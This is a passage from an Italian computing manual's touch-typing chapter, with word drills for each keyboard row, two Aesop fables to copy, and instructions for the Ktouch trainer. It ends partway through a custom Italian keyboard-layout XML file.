In questo caso, viene aggiunto anche il tasto della lettera «ù», che nel capitolo precedente non è stato preso in considerazione per la mancanza di parole adatte.

Esercizio 16.29.

```
yuppy yup yuk youyou you yolk yo yip uphill up
uopo ululò ululo ululi uh pupullò pupullo pupulli
puppy pupil pup puoi può pulpy pulp pull pulii pu
pou populo poppy popolò popolo popoli pop poop
pool pooh polyp polo pollo polli poll polipo
polipi polio poli pol poky poilu poil poi ply plu
ploy plop pli più pip pioppo pioppi pioli pio
```

Esercizio 16.30.

```
pilou pill pii piè pi phil oui où ou oppio oliò
olio olii oli olà ok oily oil oho ohi oh luppolo
lupo lupi lull lui lu loup lop loopy loop look
lollypop lollipop loll loi lo lippu lip lily li là
kp kooky kook klipp kilo killjoy kill joy joujou
joui jolly joli io ill ilk il hypo hull hulk hui
huh hop hoop hooky hookup hook holy holly hohl ho
hl hippy hippo hip hilly hill hi
```

16.4.3 Esercizi sui tasti della riga superiore con entrambe le mani

Esercizio 16.32.

```
adagerà additereste adirare adotti afferrò
affilerò affrettata aggrappare agitereste
allargaste alleiate altre appello appostassero
aprirla arrederete arrotate aspettò asserto
assisterla assuefatti attestassi augurassero
datata degradare deperirai deputato desta deturpai
diffidare dilapideresti dilettiate dirupo
disgreghi disputassero dissipò distrarsi dosare
durerò eleggo erede esagerati eseguirà espiare
```

Esercizio 16.33.

```
esserti fardello ferii figlio fisserò fodero
fratte frugherà fruttereste gaio gelida gilè
gioiello giurate graduate gretto guardi guido
halters hashish heap hep hippest hooded hosted
hulas idolatrerò irreligioso ispettore itererò
jetties juggled kilt laser legassero lesti
listereste logoriate odorate oltrepassati oraria
orsi ospitò paffutella palpaste parere partoriste
paura perdete perquisirai pestiferi piè pigola più
```

Esercizio 16.34.

```
popolosi posdatassero potassero predisposti
prelato presterai professassero progrediti
propositi prosperò prototipo purga quaggiù questi
rado raggruppo rapereste rassettaste reati reggerà
relitto respiriate retrodatereste riepilogherei
rifuggiste rilegherei ripassereste riposai risalti
risposto ritirereste rugiada salassassero salpato
saprà sederti seguitare sequestrati sfido
sfoderasse sfregasse sgrassaste sigarette
```

Esercizio 16.35.

```
slegherai sode soli sopporterà sorrisi sosterai
spara sparpagliò sperderà spettassero spillereste
spoglierò spregiare squarterò statale stipulate
storpierò strepitò stritoleresti stupirai
suffragati superata susseguire taglierai tarperà
tastassi telegrafati tessereresti tirasti tollero
torturerò tradita traghetterà trasferirlo
trasportiate trepida trite truppe udii urlare
usufruisti waits wassailed wedder whalers
whitewalls wilds woefully worsted yea
```

16.4.4 Esercizi con l'aggiunta delle lettere maiuscole

Esercizio 16.37.

```
Afar Affair Afrodite Agatha Aldo Alessio Algeria
Algiers Alighieri Aosta Apollo Apothéose Arturo
Australia Austria Dallas Darida Delphi Eagles
Egitto Elia Elliotte Ellis Eulero Fedora Ferrari
Filippo Ford Fred Friday Fuji Fujitsu Galileo
Gauss Georgia Gerardo Gert Giorgio Giosuè Giulio
Giuseppe Golia Greg Gregoire Gregory Gretel Hayes
Hewlett Hoepli Iraq IRQ Israele Italia Italy
```

Esercizio 16.38.

```
Jerrold Jerry Jersey Joliet Jukka Kelley Klaus
Korea Korpela Kurdish Kurt Kuwait Lafayette Larry
Leopardi Leopoldo LIFO Lira Lord Loris Louis
Lourdes Luigi ORF Paolo Paride Paris Pegasus
Pesaro Peseta Pfeifer Philips Piero Pierre Pietro
Pirelli Pisa Pistoia Portogallo Powell Pula
Rudolph Rush Russell Russia Saffo Saudita Sergio
Silea Siria Solaris Sperry Tardif Tatu Ted Teresa
Turati Urdu Uruguay Wales Walsh Waterlo Wesley
Wietse Wright Yggdrasil Yiddish York
```

16.5 Esercizi di digitazione: la riga inferiore

La riga inferiore è quella riga di tasti che si trova sotto alla riga base. Per digitare i tasti della riga inferiore occorre spostare temporaneamente le dita necessarie dalla riga base, per poi ritornare ai tasti base rispettivi.

16.5.1 Esercizi sui tasti della riga inferiore: mano sinistra

Si può osservare che il tasto [*b*] è conteso da entrambi gli indici delle mani.

Esercizio 16.40.

```
abbassa abbassava accada accasa accasava afa bada
badava basa basava bassa bava bazza cada casa
casacca casca cascava cassa cava cavava dava
fava gas gazza sacca sbava sbavava scada scassa
scassava scava scavava svaga svagava vacca vada
vaga vagava vasca zac
```

Esercizio 16.41.

```
zac vasca vagava vaga vada vacca svagava svaga
scavava scava scassava scassa scada sbavava sbava
sacca gazza gas fava dava cavava cava cassa
cascava casca casacca casa cada bazza bava
bassa basava basa badava bada afa accasava accasa
accada abbassava abbassa
```

16.5.2 Esercizi sui tasti della riga inferiore: mano destra

Esercizio 16.43.

```
nm mùn mò mnà mm mln ml mk mhò mhàn mhàm mhàl mb
màn màm màl màb mà lùb lòn lò lkm lb làn làmh là
km kl kk kbm kbk kb hm hl hk hh bùb bòl bm bln bl
bhàn bhà bh bàn bà
```

Esercizio 16.44.

```
km kl kk kbm kbk kb hm hl hk hh bùb bòl bm bln bl
màn màm màl màb mà lùb lòn lò lkm lb làn làmh là
nm mùn mò mnà mm mln ml mk mhò mhàn mhàm mhàl mb
bhàn bhà bh bàn bà
```

16.5.3 Esercizi sui tasti della riga inferiore con entrambe le mani

Esercizio 16.46.

```
abbassa abbassò accasa accasò acclamava ad affama
affamò affannava al alba alga allaga allagò alzava
ama amalgama amalgamò ammacca ammaccò ammalava
ammassa ammassò ammazzava amò anca andò ansava
avallava avanza avanzò bada badò bagnava baldanza
ballava balza balzò banca basa basò bava blanda
cagna calava calcagna calma calmò calva
calzava canna casacca cascava cassa cavalcava
cavava da dal dama danna dannò danzava dava fa
```

Esercizio 16.47.

```
falla falsa fan gala gamba gas ha kg là lagnanza
lagnò lana lasagna lava lavanda lavò madama magma
mal malsana mamba mammà mancanza mancò mandava
manna massa nana sa sala salassava salava saldava
salga salò salva salvava san sanava sansa sballava
sbalza sbalzò sbava sbavò scala scalda scaldò
scalza scansava scassa scassò scavalca scavalcò
scavò sfamava svaga svagò vacanza vada vagava val
valga vana vangava vasca zanna
```

16.5.4 Esercizi con l'aggiunta delle lettere maiuscole

Esercizio 16.49.

```
Abbas Adam Adan Addams Afghans Ahmad Ajax Ala
Alabaman Alan Alaska Alaskans Aldan Allahabad Alma
Alva Amman Andaman Anna Anshan Asama Assad Ava
Baal Bach Baghdad Bahamas Balkans Ball Banach Bass
Blacks Blvd Callaghan Callas Canada Casals Chad
Chan Changsha Dada Dan Dhaka Fahd Falkland Fla
```

Esercizio 16.50.

```
Galahad Gall Gdansk Glass Hahn Hal Hals Haman Hank
Hannah Havana JFK Jamaal Jan Janna Javas Kafka
Kama Kans Kansans Kazakh Khan Klansman Laban Lana
Lang Lassa Lhasa MHz Mach Mack Madagascans Malacca
Manama Manx Mashhad Max Mazda McCall Nan Nanchang
Nazca Sachs Sagan Saks Salas Sam Sana Sang Sasha
Shaka Shanna Slavs Val Van Vang Xmas
```

16.6 Esercizi di digitazione: conclusione

Con questo capitolo si concludono gli esercizi di digitazione. Da questo punto in poi, l'addestramento può continuare con qualunque tipo di testo; quello che conta è di mantenere la determinazione nell'uso di tutte le dita delle mani per la scrittura.

16.6.1 Favole di Esopo

Per concludere l'addestramento alla digitazione, vengono proposti alcuni esercizi di trascrizione di favole di Esopo. In questo modo si esplorano i simboli più comuni usati nella scrittura quotidiana.

Esercizio 16.52.

```
La volpe e l'uva

Che fame! - esclamò la volpe, che era a digiuno da
un paio di giorni e non trovava niente da mettere
sotto i denti; girellando qua e là, capitò per
caso in una vigna, piena di grappoli bruni e
dorati.
- Bella quell'uva! - disse allora la volpe,
spiccando un primo balzo per cercare di afferrarne
un grappolo. - Ma com'è alta! - e fece un altro
salto. Più saltava e più le veniva fame: fece
qualche passo indietro e prese la rincorsa: niente
ancora! Non ce la faceva proprio. Quando si
accorse che tutti i suoi sforzi non servivano a
nulla e che, continuando così, avrebbe potuto
farsi deridere da un gattino che se ne stava a
sonnecchiare in cima alla pergola, esclamò:
- Che brutta uva! È ancora acerba, e a me l'uva
acerba non piace davvero!
E si allontanò di là con molta dignità, ma con una
gran rabbia in cuore.
```

Esercizio 16.53.

```
La gallina dalle uova d'oro

C'era una volta una straordinaria gallina che
faceva un uovo d'oro al giorno.
Il contadino a causa della sua avidità dopo
qualche tempo non fu più soddisfatto dell'unico
uovo che la gallina puntualmente gli sfornava:
"Scommetto che se la uccidessi diventerei
ricchissimo, chissà quanto oro ha dentro la
pancia, è inutile stare ad aspettare un misero
uovo al giorno!" pensò convinto.
Ma dovette accorgersi che la prodigiosa gallina
non era affatto diversa dalle altre e che dentro
di lei non c'era dell'oro come aveva scioccamente
immaginato.
Così per non essersi accontentato di ciò che aveva
restò senza nulla poiché ora non poteva contare
nemmeno su un uovo al giorno.
```

16.7 Livelli ulteriori

Negli esercizi di digitazione si esplorano normalmente soltanto i primi due livelli della tastiera (minuscole e maiuscole, per intendere a che livelli si sta facendo riferimento); tuttavia, la tastiera italiana e la maggior parte delle tastiere, dispone di tre o più livelli. Per esempio, le parentesi quadre, il simbolo dell'euro e altri simboli simili, si ottengono in combinazione con il tasto [*AltGr*], che si trova subito a destra della barra spaziatrice. Questo tasto va premuto con il pollice destro.

In presenza di un livello ulteriore, questo si ottiene normalmente combinando [*AltGr*] con il tasto delle maiuscole. In tal caso, dovrebbe essere conveniente usare la mano destra per premere con il pollice [*AltGr*] e con il mignolo il tasto delle maiuscole. Evidentemente, se il tasto da premere ancora rientrerebbe nella competenza del mignolo, in questa situazione va usato invece l'anulare, o il medio, a seconda della distanza relativa, ma può essere necessario premere il tasto ulteriore con la mano sinistra.

Figura 16.54. La combinazione [*AltGr Maiuscole à*], per ottenere la lettera «å».

16.8 Ktouch

Ktouch[1] è un programma grafico per l'addestramento all'uso della tastiera, in modo generalizzato.

16.8.1 Avvio e configurazione

Il programma è costituito dall'eseguibile '**`ktouch`**', che si avvia generalmente senza argomenti:

$ **`ktouch`** [*Invio*]

In condizioni normali, al primo avvio si presenta con una tastiera statunitense e con degli esercizi generici, come si può vedere nella figura successiva.

Figura 16.55. Aspetto normale di Ktouch quando lo si avvia per la prima volta.

Volendo visualizzare sullo schermo la mappa della tastiera italiana, occorre entrare nell'elenco che si ottiene selezionando la voce `Keyboard layout`, del menù `Settings`. Da lì, si può scegliere la mappa italiana che dovrebbe corrispondere al file '`/usr/share/apps/ktouch/it.keyboard`'.

Figura 16.56. Aspetto di Ktouch dopo aver caricato la mappa della tastiera italiana.

Se si ritiene che i colori attribuiti ai tasti non corrispondano al modo giusto di associare l'uso delle dita, si può optare per una visualizzazione in bianco e nero, senza guide. Si cambia la colorazione dei tasti selezionando la voce `Keyboards Color Schemes` dal menù `Settings`.

Figura 16.57. Aspetto di Ktouch con i tasti senza colori.

16.8.2 Esercizio con Ktouch

Gli esercizi da svolgere vanno caricati espressamente e generalmente si può accedere solo a file che si trovano già nella directory '`/usr/share/apps/ktouch/`'. Questi file, vanno scelti dall'elenco che si ottiene dalla voce `Default lectures` del menù `Training`.

Figura 16.58. Esercitazione in corso con Ktouch, dopo aver caricato il file '`/usr/share/apps/ktouch/italian.ktouch.xml`'.

I file degli esercizi contengono dei livelli successivi, che possono essere selezionati quando si riprende l'addestramento e i primi livelli sono già stati eseguiti con soddisfazione. Per passare

al livello successivo, basta selezionare il bottone grafico [+] che appare nel riquadro `Level`, a sinistra.

16.8.3 Personalizzazione della tastiera

Può capitare di non trovare una configurazione soddisfacente per la tastiera italiana. In tal caso, si può scrivere la propria in un file con estensione '`.keyboard.xml`' da mettere poi nella directory '`/usr/share/kde4/apps/ktouch/`'. Il listato successivo mostra un file adatto alla mappa italiana della tastiera, comprendente le lettere accentate, il simbolo «€» e altri simboli importanti che si ottengono per combinazione con il tasto [*AltGr*]; inoltre l'associazione dei tasti alle dita è conforme a quella usata all'inizio del capitolo.

Listato 16.59. File '`it.keyboard.xml`'. Si osservi che il file deve essere scritto secondo la codifica UTF-8. Una copia di questo file, dovrebbe essere disponibile anche qui: ⟨*allegati/it.keyboard.xml*⟩.

```
<?xml version="1.0" encoding="UTF-8"?>
<KTouchKeyboard>
 <Title>Italian</Title>
 <Language>it</Language>
 <Keys>
  <Key Width="80" X="180" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="65" Position="TopLeft" >A</Char>
  </Key>
  <Key Width="80" X="280" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="83" Position="TopLeft" >S</Char>
  </Key>
  <Key Width="80" X="380" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="68" Position="TopLeft" >D</Char>
  </Key>
  <Key Width="80" X="480" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="70" Position="TopLeft" >F</Char>
  </Key>
  <Key Width="80" X="780" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="74" Position="TopLeft" >J</Char>
  </Key>
  <Key Width="80" X="880" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="75" Position="TopLeft" >K</Char>
  </Key>
  <Key Width="80" X="980" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="76" Position="TopLeft" >L</Char>
  </Key>
  <Key Width="80" X="1080" Y="200" Height="80" Type="FINGER" >
   <Char Unicode="231" Position="TopLeft" >ç</Char>
   <Char Unicode="242" Position="BottomLeft" >ò</Char>
   <Char Unicode="64" Position="BottomRight" >@</Char>
  </Key>
  <Key Width="130" X="0" Y="100" Height="80" Type="TAB" />
  <Key Width="90" X="1370" Y="100" Height="178" Type="ENTER" />
  <Key Width="230" X="1230" Y="300" Height="80" Type="SHIFT" />
  <Key Width="130" X="1150" KeyText="AltGr" Y="400" Height="80" Type="OTHER" />
  <Key Width="160" X="1300" KeyText="Ctrl" Y="400" Height="80" Type="OTHER" />
  <Key Width="130" X="150" KeyText="Alt" Y="400" Height="80" Type="OTHER" />
```

```
<Key Width="130" X="0" KeyText="Ctrl" Y="400" Height="80" Type="OTHER" />
<Key Width="830" X="300" Y="400" Height="80" Type="SPACE" />
<Key Width="110" X="0" Y="300" Height="80" Type="SHIFT" />
<Key Width="160" X="0" Y="200" Height="80" Type="CAPSLOCK" />
<Key Width="160" X="1300" Y="0" Height="80" Type="BACKSPACE" />
<Key Width="80" X="0" Y="0" Height="80" FingerKeyIndex="0" Type="NORMAL" >
 <Char Unicode="124" Position="TopLeft" >|</Char>
 <Char Unicode="92" Position="BottomLeft" >\</Char>
</Key>
<Key Width="80" X="100" Y="0" Height="80" FingerKeyIndex="0" Type="NORMAL" >
 <Char Unicode="33" Position="TopLeft" >!</Char>
 <Char Unicode="49" Position="BottomLeft" >1</Char>
</Key>
<Key Width="80" X="200" Y="0" Height="80" FingerKeyIndex="1" Type="NORMAL" >
 <Char Unicode="34" Position="TopLeft" >"</Char>
 <Char Unicode="50" Position="BottomLeft" >2</Char>
</Key>
<Key Width="80" X="300" Y="0" Height="80" FingerKeyIndex="2" Type="NORMAL" >
 <Char Unicode="163" Position="TopLeft" >£</Char>
 <Char Unicode="51" Position="BottomLeft" >3</Char>
</Key>
<Key Width="80" X="400" Y="0" Height="80" FingerKeyIndex="3" Type="NORMAL" >
 <Char Unicode="36" Position="TopLeft" >$</Char>
 <Char Unicode="52" Position="BottomLeft" >4</Char>
</Key>
<Key Width="80" X="500" Y="0" Height="80" FingerKeyIndex="3" Type="NORMAL" >
 <Char Unicode="37" Position="TopLeft" >%</Char>
 <Char Unicode="53" Position="BottomLeft" >5</Char>
</Key>
<Key Width="80" X="600" Y="0" Height="80" FingerKeyIndex="3" Type="NORMAL" >
 <Char Unicode="38" Position="TopLeft" >&amp;</Char>
 <Char Unicode="54" Position="BottomLeft" >6</Char>
</Key>
<Key Width="80" X="700" Y="0" Height="80" FingerKeyIndex="4" Type="NORMAL" >
 <Char Unicode="47" Position="TopLeft" >/</Char>
 <Char Unicode="55" Position="BottomLeft" >7</Char>
</Key>
<Key Width="80" X="800" Y="0" Height="80" FingerKeyIndex="4" Type="NORMAL" >
 <Char Unicode="40" Position="TopLeft" >(</Char>
 <Char Unicode="56" Position="BottomLeft" >8</Char>
</Key>
<Key Width="80" X="900" Y="0" Height="80" FingerKeyIndex="5" Type="NORMAL" >
 <Char Unicode="41" Position="TopLeft" >)</Char>
 <Char Unicode="57" Position="BottomLeft" >9</Char>
</Key>
<Key Width="80" X="1000" Y="0" Height="80" FingerKeyIndex="6" Type="NORMAL" >
 <Char Unicode="61" Position="TopLeft" >=</Char>
 <Char Unicode="48" Position="BottomLeft" >0</Char>
</Key>
<Key Width="80" X="1100" Y="0" Height="80" FingerKeyIndex="7" Type="NORMAL" >
 <Char Unicode="63" Position="TopLeft" >?</Char>
 <Char Unicode="39" Position="BottomLeft" >'</Char>
</Key>
```

```
<Key Width="80" X="1200" Y="0" Height="80" FingerKeyIndex="7" Type="NORMAL" >
 <Char Unicode="94" Position="TopLeft" >^</Char>
 <Char Unicode="236" Position="BottomLeft" >ì</Char>
</Key>
<Key Width="80" X="150" Y="100" Height="80" FingerKeyIndex="0" Type="NORMAL" >
 <Char Unicode="81" Position="TopLeft" >Q</Char>
</Key>
<Key Width="80" X="250" Y="100" Height="80" FingerKeyIndex="1" Type="NORMAL" >
 <Char Unicode="87" Position="TopLeft" >W</Char>
</Key>
<Key Width="80" X="350" Y="100" Height="80" FingerKeyIndex="2" Type="NORMAL" >
 <Char Unicode="69" Position="TopLeft" >E</Char>
 <Char Unicode="8364" Position="BottomRight" >€</Char>
</Key>
<Key Width="80" X="450" Y="100" Height="80" FingerKeyIndex="3" Type="NORMAL" >
 <Char Unicode="82" Position="TopLeft" >R</Char>
</Key>
<Key Width="80" X="550" Y="100" Height="80" FingerKeyIndex="3" Type="NORMAL" >
 <Char Unicode="84" Position="TopLeft" >T</Char>
</Key>
<Key Width="80" X="230" Y="300" Height="80" FingerKeyIndex="1" Type="NORMAL" >
 <Char Unicode="90" Position="TopLeft" >Z</Char>
</Key>
<Key Width="80" X="750" Y="100" Height="80" FingerKeyIndex="4" Type="NORMAL" >
 <Char Unicode="85" Position="TopLeft" >U</Char>
</Key>
<Key Width="80" X="850" Y="100" Height="80" FingerKeyIndex="5" Type="NORMAL" >
 <Char Unicode="73" Position="TopLeft" >I</Char>
</Key>
<Key Width="80" X="950" Y="100" Height="80" FingerKeyIndex="6" Type="NORMAL" >
 <Char Unicode="79" Position="TopLeft" >O</Char>
</Key>
<Key Width="80" X="1050" Y="100" Height="80" FingerKeyIndex="7" Type="NORMAL" >
 <Char Unicode="80" Position="TopLeft" >P</Char>
</Key>
<Key Width="80" X="1150" Y="100" Height="80" FingerKeyIndex="7" Type="NORMAL" >
 <Char Unicode="233" Position="TopLeft" >é</Char>
 <Char Unicode="232" Position="BottomLeft" >è</Char>
 <Char Unicode="91" Position="BottomRight" >[</Char>
</Key>
<Key Width="80" X="1250" Y="100" Height="80" FingerKeyIndex="7" Type="NORMAL" >
 <Char Unicode="42" Position="TopLeft" >*</Char>
 <Char Unicode="43" Position="BottomLeft" >+</Char>
 <Char Unicode="93" Position="BottomRight" >]</Char>
</Key>
<Key Width="80" X="580" Y="200" Height="80" FingerKeyIndex="3" Type="NORMAL" >
 <Char Unicode="71" Position="TopLeft" >G</Char>
</Key>
<Key Width="80" X="680" Y="200" Height="80" FingerKeyIndex="4" Type="NORMAL" >
 <Char Unicode="72" Position="TopLeft" >H</Char>
</Key>
<Key Width="80" X="1180" Y="200" Height="80" FingerKeyIndex="7" Type="NORMAL" >
 <Char Unicode="176" Position="TopLeft" >°</Char>
```

```
    <Char Unicode="224" Position="BottomLeft" >à</Char>
    <Char Unicode="35" Position="BottomRight" >#</Char>
   </Key>
   <Key Width="80" X="130" Y="300" Height="80" FingerKeyIndex="7" Type="NORMAL" >
    <Char Unicode="62" Position="TopLeft" >></Char>
    <Char Unicode="60" Position="BottomLeft" >&lt;</Char>
   </Key>
   <Key Width="80" X="650" Y="100" Height="80" FingerKeyIndex="4" Type="NORMAL" >
    <Char Unicode="89" Position="TopLeft" >Y</Char>
   </Key>
   <Key Width="80" X="330" Y="300" Height="80" FingerKeyIndex="2" Type="NORMAL" >
    <Char Unicode="88" Position="TopLeft" >X</Char>
   </Key>
   <Key Width="80" X="430" Y="300" Height="80" FingerKeyIndex="3" Type="NORMAL" >
    <Char Unicode="67" Position="TopLeft" >C</Char>
   </Key>
   <Key Width="80" X="530" Y="300" Height="80" FingerKeyIndex="3" Type="NORMAL" >
    <Char Unicode="86" Position="TopLeft" >V</Char>
   </Key>
   <Key Width="80" X="630" Y="300" Height="80" FingerKeyIndex="4" Type="NORMAL" >
    <Char Unicode="66" Position="TopLeft" >B</Char>
   </Key>
   <Key Width="80" X="730" Y="300" Height="80" FingerKeyIndex="4" Type="NORMAL" >
    <Char Unicode="78" Position="TopLeft" >N</Char>
   </Key>
   <Key Width="80" X="830" Y="300" Height="80" FingerKeyIndex="4" Type="NORMAL" >
    <Char Unicode="77" Position="TopLeft" >M</Char>
   </Key>
   <Key Width="80" X="930" Y="300" Height="80" FingerKeyIndex="5" Type="NORMAL" >
    <Char Unicode="59" Position="TopLeft" >;</Char>
    <Char Unicode="44" Position="BottomLeft" >,</Char>
   </Key>
   <Key Width="80" X="1030" Y="300" Height="80" FingerKeyIndex="6" Type="NORMAL" >
    <Char Unicode="58" Position="TopLeft" >:</Char>
    <Char Unicode="46" Position="BottomLeft" >.</Char>
   </Key>
   <Key Width="80" X="1130" Y="300" Height="80" FingerKeyIndex="7" Type="NORMAL" >
    <Char Unicode="95" Position="TopLeft" >_</Char>
    <Char Unicode="45" Position="BottomLeft" >-</Char>
   </Key>
   <Key Width="80" X="1280" Y="200" Height="80" FingerKeyIndex="7" Type="NORMAL" >
    <Char Unicode="167" Position="TopLeft" >§</Char>
    <Char Unicode="249" Position="BottomLeft" >ù</Char>
   </Key>
  </Keys>
  <Connections>
   <KeyConnector KeyUnicode="8" TargetKeyIndex="18" />
   <KeyConnector KeyUnicode="13" TargetKeyIndex="9" />
   <KeyConnector KeyUnicode="32" TargetKeyIndex="15" />
   <KeyConnector KeyUnicode="33" TargetKeyIndex="20" ModifierIndex="10" />
   <KeyConnector KeyUnicode="34" TargetKeyIndex="21" ModifierIndex="16" />
   <KeyConnector KeyUnicode="35" TargetKeyIndex="46" ModifierIndex="11" />
   <KeyConnector KeyUnicode="36" TargetKeyIndex="23" ModifierIndex="10" />
```

```
    <KeyConnector KeyUnicode="37" TargetKeyIndex="24" ModifierIndex="10" />
    <KeyConnector KeyUnicode="38" TargetKeyIndex="25" ModifierIndex="16" />
    <KeyConnector KeyUnicode="39" TargetKeyIndex="30" />
    <KeyConnector KeyUnicode="40" TargetKeyIndex="27" ModifierIndex="16" />
    <KeyConnector KeyUnicode="41" TargetKeyIndex="28" ModifierIndex="16" />
    <KeyConnector KeyUnicode="42" TargetKeyIndex="43" ModifierIndex="16" />
    <KeyConnector KeyUnicode="43" TargetKeyIndex="43" />
    <KeyConnector KeyUnicode="44" TargetKeyIndex="55" />
    <KeyConnector KeyUnicode="45" TargetKeyIndex="57" />
    <KeyConnector KeyUnicode="46" TargetKeyIndex="56" />
    <KeyConnector KeyUnicode="47" TargetKeyIndex="26" ModifierIndex="16" />
    <KeyConnector KeyUnicode="48" TargetKeyIndex="29" />
    <KeyConnector KeyUnicode="49" TargetKeyIndex="20" />
    <KeyConnector KeyUnicode="50" TargetKeyIndex="21" />
    <KeyConnector KeyUnicode="51" TargetKeyIndex="22" />
    <KeyConnector KeyUnicode="52" TargetKeyIndex="23" />
    <KeyConnector KeyUnicode="53" TargetKeyIndex="24" />
    <KeyConnector KeyUnicode="54" TargetKeyIndex="25" />
    <KeyConnector KeyUnicode="55" TargetKeyIndex="26" />
    <KeyConnector KeyUnicode="56" TargetKeyIndex="27" />
    <KeyConnector KeyUnicode="57" TargetKeyIndex="28" />
    <KeyConnector KeyUnicode="58" TargetKeyIndex="56" ModifierIndex="16" />
    <KeyConnector KeyUnicode="59" TargetKeyIndex="55" ModifierIndex="16" />
    <KeyConnector KeyUnicode="60" TargetKeyIndex="47" />
    <KeyConnector KeyUnicode="61" TargetKeyIndex="29" ModifierIndex="16" />
    <KeyConnector KeyUnicode="62" TargetKeyIndex="47" ModifierIndex="16" />
    <KeyConnector KeyUnicode="63" TargetKeyIndex="30" ModifierIndex="16" />
    <KeyConnector KeyUnicode="64" TargetKeyIndex="7" ModifierIndex="11" />
    <KeyConnector KeyUnicode="65" TargetKeyIndex="0" ModifierIndex="10" />
    <KeyConnector KeyUnicode="66" TargetKeyIndex="52" ModifierIndex="10" />
    <KeyConnector KeyUnicode="67" TargetKeyIndex="50" ModifierIndex="10" />
    <KeyConnector KeyUnicode="68" TargetKeyIndex="2" ModifierIndex="10" />
    <KeyConnector KeyUnicode="69" TargetKeyIndex="34" ModifierIndex="10" />
    <KeyConnector KeyUnicode="70" TargetKeyIndex="3" ModifierIndex="10" />
    <KeyConnector KeyUnicode="71" TargetKeyIndex="44" ModifierIndex="10" />
    <KeyConnector KeyUnicode="72" TargetKeyIndex="45" ModifierIndex="10" />
    <KeyConnector KeyUnicode="73" TargetKeyIndex="39" ModifierIndex="10" />
    <KeyConnector KeyUnicode="74" TargetKeyIndex="4" ModifierIndex="10" />
    <KeyConnector KeyUnicode="75" TargetKeyIndex="5" ModifierIndex="10" />
    <KeyConnector KeyUnicode="76" TargetKeyIndex="6" ModifierIndex="10" />
    <KeyConnector KeyUnicode="77" TargetKeyIndex="54" ModifierIndex="16" />
    <KeyConnector KeyUnicode="78" TargetKeyIndex="53" ModifierIndex="10" />
    <KeyConnector KeyUnicode="79" TargetKeyIndex="40" ModifierIndex="10" />
    <KeyConnector KeyUnicode="80" TargetKeyIndex="41" ModifierIndex="10" />
    <KeyConnector KeyUnicode="81" TargetKeyIndex="32" ModifierIndex="10" />
    <KeyConnector KeyUnicode="82" TargetKeyIndex="35" ModifierIndex="10" />
    <KeyConnector KeyUnicode="83" TargetKeyIndex="1" ModifierIndex="10" />
    <KeyConnector KeyUnicode="84" TargetKeyIndex="36" ModifierIndex="10" />
    <KeyConnector KeyUnicode="85" TargetKeyIndex="38" ModifierIndex="10" />
    <KeyConnector KeyUnicode="86" TargetKeyIndex="51" ModifierIndex="10" />
    <KeyConnector KeyUnicode="87" TargetKeyIndex="33" ModifierIndex="10" />
    <KeyConnector KeyUnicode="88" TargetKeyIndex="49" ModifierIndex="10" />
    <KeyConnector KeyUnicode="89" TargetKeyIndex="48" ModifierIndex="10" />
```

```
    <KeyConnector KeyUnicode="90" TargetKeyIndex="37" ModifierIndex="10" />
    <KeyConnector KeyUnicode="91" TargetKeyIndex="42" ModifierIndex="11" />
    <KeyConnector KeyUnicode="92" TargetKeyIndex="19" />
    <KeyConnector KeyUnicode="93" TargetKeyIndex="43" ModifierIndex="11" />
    <KeyConnector KeyUnicode="94" TargetKeyIndex="31" ModifierIndex="16" />
    <KeyConnector KeyUnicode="95" TargetKeyIndex="57" ModifierIndex="16" />
    <KeyConnector KeyUnicode="97" TargetKeyIndex="0" />
    <KeyConnector KeyUnicode="98" TargetKeyIndex="52" />
    <KeyConnector KeyUnicode="99" TargetKeyIndex="50" />
    <KeyConnector KeyUnicode="100" TargetKeyIndex="2" />
    <KeyConnector KeyUnicode="101" TargetKeyIndex="34" />
    <KeyConnector KeyUnicode="102" TargetKeyIndex="3" />
    <KeyConnector KeyUnicode="103" TargetKeyIndex="44" />
    <KeyConnector KeyUnicode="104" TargetKeyIndex="45" />
    <KeyConnector KeyUnicode="105" TargetKeyIndex="39" />
    <KeyConnector KeyUnicode="106" TargetKeyIndex="4" />
    <KeyConnector KeyUnicode="107" TargetKeyIndex="5" />
    <KeyConnector KeyUnicode="108" TargetKeyIndex="6" />
    <KeyConnector KeyUnicode="109" TargetKeyIndex="54" />
    <KeyConnector KeyUnicode="110" TargetKeyIndex="53" />
    <KeyConnector KeyUnicode="111" TargetKeyIndex="40" />
    <KeyConnector KeyUnicode="112" TargetKeyIndex="41" />
    <KeyConnector KeyUnicode="113" TargetKeyIndex="32" />
    <KeyConnector KeyUnicode="114" TargetKeyIndex="35" />
    <KeyConnector KeyUnicode="115" TargetKeyIndex="1" />
    <KeyConnector KeyUnicode="116" TargetKeyIndex="36" />
    <KeyConnector KeyUnicode="117" TargetKeyIndex="38" />
    <KeyConnector KeyUnicode="118" TargetKeyIndex="51" />
    <KeyConnector KeyUnicode="119" TargetKeyIndex="33" />
    <KeyConnector KeyUnicode="120" TargetKeyIndex="49" />
    <KeyConnector KeyUnicode="121" TargetKeyIndex="48" />
    <KeyConnector KeyUnicode="122" TargetKeyIndex="37" />
    <KeyConnector KeyUnicode="124" TargetKeyIndex="19" ModifierIndex="16" />
    <KeyConnector KeyUnicode="163" TargetKeyIndex="22" ModifierIndex="16" />
    <KeyConnector KeyUnicode="167" TargetKeyIndex="58" ModifierIndex="16" />
    <KeyConnector KeyUnicode="176" TargetKeyIndex="46" ModifierIndex="16" />
    <KeyConnector KeyUnicode="224" TargetKeyIndex="46" />
    <KeyConnector KeyUnicode="231" TargetKeyIndex="7" ModifierIndex="16" />
    <KeyConnector KeyUnicode="232" TargetKeyIndex="42" />
    <KeyConnector KeyUnicode="233" TargetKeyIndex="42" ModifierIndex="16" />
    <KeyConnector KeyUnicode="236" TargetKeyIndex="31" />
    <KeyConnector KeyUnicode="242" TargetKeyIndex="7" />
    <KeyConnector KeyUnicode="249" TargetKeyIndex="58" />
    <KeyConnector KeyUnicode="257" TargetKeyIndex="16" />
    <KeyConnector KeyUnicode="258" TargetKeyIndex="10" />
    <KeyConnector KeyUnicode="259" TargetKeyIndex="17" />
    <KeyConnector KeyUnicode="260" TargetKeyIndex="8" />
    <KeyConnector KeyUnicode="262" TargetKeyIndex="14" />
    <KeyConnector KeyUnicode="263" TargetKeyIndex="13" />
    <KeyConnector KeyUnicode="264" TargetKeyIndex="11" />
